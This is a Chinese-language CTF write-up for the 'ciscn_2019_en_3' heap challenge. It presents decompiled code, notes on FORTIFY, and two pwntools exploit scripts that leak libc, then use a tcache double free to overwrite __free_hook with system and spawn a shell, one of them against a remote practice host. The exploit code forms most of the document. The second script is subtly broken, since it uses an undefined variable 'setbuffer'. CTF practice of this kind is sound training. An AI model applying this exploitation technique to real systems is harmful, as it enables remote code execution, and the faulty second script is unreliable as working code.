ciscn_2019_en_3
sub_DAF:
unsigned __int64 sub_DAF() { unsigned __int64 result; // rax int v1; // [rsp+Ch] [rbp-44h] char s; // [rsp+10h] [rbp-40h] char buf; // [rsp+20h] [rbp-30h] unsigned __int64 v4; // [rsp+48h] [rbp-8h] v4 = __readfsqword(0x28u); puts("Welcome to the story kingdom."); puts("What's your name?"); read(0, &buf, 0x20uLL); _printf_chk(1LL, (__int64)&buf); puts("Please input your ID."); read(0, &s, 8uLL); puts(&s); while ( 1 ) { sub_B7D(); _isoc99_scanf("%d", &v1); getchar(); switch ( (unsigned int)off_1144 ) { case 1u: add(); break; case 2u: edit(); break; case 3u: show(); break; case 4u: delete(); break; case 5u: puts("Goodbye~"); exit(0); return result; default: puts("Wrong choice!"); return __readfsqword(0x28u) ^ v4; } } }
add:
unsigned __int64 add() { int v0; // ebx int v2; // [rsp+4h] [rbp-1Ch] unsigned __int64 v3; // [rsp+8h] [rbp-18h] v3 = __readfsqword(0x28u); if ( count > 16 ) puts("Enough!"); puts("Please input the size of story: "); _isoc99_scanf("%d", &v2); if ( v2 < 0 && v2 > 80 ) exit(0); *((_DWORD *)&unk_202060 + 4 * count) = v2; v0 = count; heap[2 * v0] = malloc(v2); puts("please inpute the story: "); read(0, heap[2 * count], v2); ++count; puts("Done!"); return __readfsqword(0x28u) ^ v3; }
delete:
unsigned __int64 delete() { int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("Please input the index:"); _isoc99_scanf("%d", &v1); free(heap[2 * v1]); puts("Done!"); return __readfsqword(0x28u) ^ v2; }
程序就这两个功能,edit和show都是假的。
checksec:
一片绿以为还是堆题的传统艺能,没有注意到多了一个FORITY,查了一下。主要是用于防溢出。开启FORTIFY时,一些敏感函数会被替换成下图的
_xxxx_chk格式进行溢出检查。同时%n$x类型的fmt利用会被拦截
FORTIFY详情移步https://www.freebuf.com/vuls/248330.html
注意到了最下方的puts函数,根据puts的特性,只要输入八个byte就能把&s的下一个地址的值带出来
_printf_chk是有fmt漏洞的。%n$x不能利用但并不影响我泄露栈的数据。可以用箭头所指的两个函数计算libc,这里就用第一个setbuf
而&s的下一个地址刚好是setbuffer+231。可以根据这个得到libc
后面就是常规的tcache double free
两种方法的exp如下
exp1(puts泄漏地址):
#!/usr/bin/python #coding:utf-8 from pwn import * context.log_level = 'debug' #a=remote("node3.buuoj.cn",25764) #g=gdb.debug("/root/ciscn") a=process("/root/ciscn") elf=ELF("/root/ciscn") libc=ELF("libc-2.27.so") def add(size,story): a.sendlineafter('choice:','1') a.sendlineafter('story:',str(size)) a.sendlineafter('story:',story) def delete(idx): a.sendlineafter('choice:','4') a.sendlineafter('index:',str(idx)) a.sendlineafter("What's your name?","remon535") a.recv(0x5f) setbuffer=u64(a.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-231 a.sendlineafter("Please input your ID.",'aaaaaaaa') libc_base=setbuffer-libc.symbols['setbuffer'] print hex(libc_base) free=libc_base+libc.sym['__free_hook'] sys=libc_base+libc.sym['system'] add(0x20,'aaaa') add(0x20,'/bin/sh\x00') delete(0) delete(0) add(0x20,p64(free)) add(0x20,'a') add(0x20,p64(sys)) delete(1) #gdb.attach(a) a.interactive()
exp2(fmt泄漏地址):
#!/usr/bin/python #coding:utf-8 from pwn import * context.log_level = 'debug' a=remote("node3.buuoj.cn",25764) #g=gdb.debug("/root/ciscn") #a=process("/root/ciscn") elf=ELF("/root/ciscn") libc=ELF("libc-2.27.so") def add(size,story): a.sendlineafter('choice:','1') a.sendlineafter('story:',str(size)) a.sendlineafter('story:',story) def delete(idx): a.sendlineafter('choice:','4') a.sendlineafter('index:',str(idx)) a.sendlineafter("What's your name?","%p%p%p%p%p%p") setbuf=int(a.recvuntil('Please')[51:65],16)-9 print setbuffer a.sendlineafter("ID.",'123') libc_base=setbuffer-libc.symbols['_IO_file_setbuf'] print hex(libc_base) free=libc_base+libc.sym['__free_hook'] sys=libc_base+libc.sym['system'] add(0x20,'aaaa') add(0x20,'/bin/sh\x00') delete(0) delete(0) add(0x20,p64(free)) add(0x20,'a') add(0x20,p64(sys)) delete(1) #gdb.attach(a) a.interactive()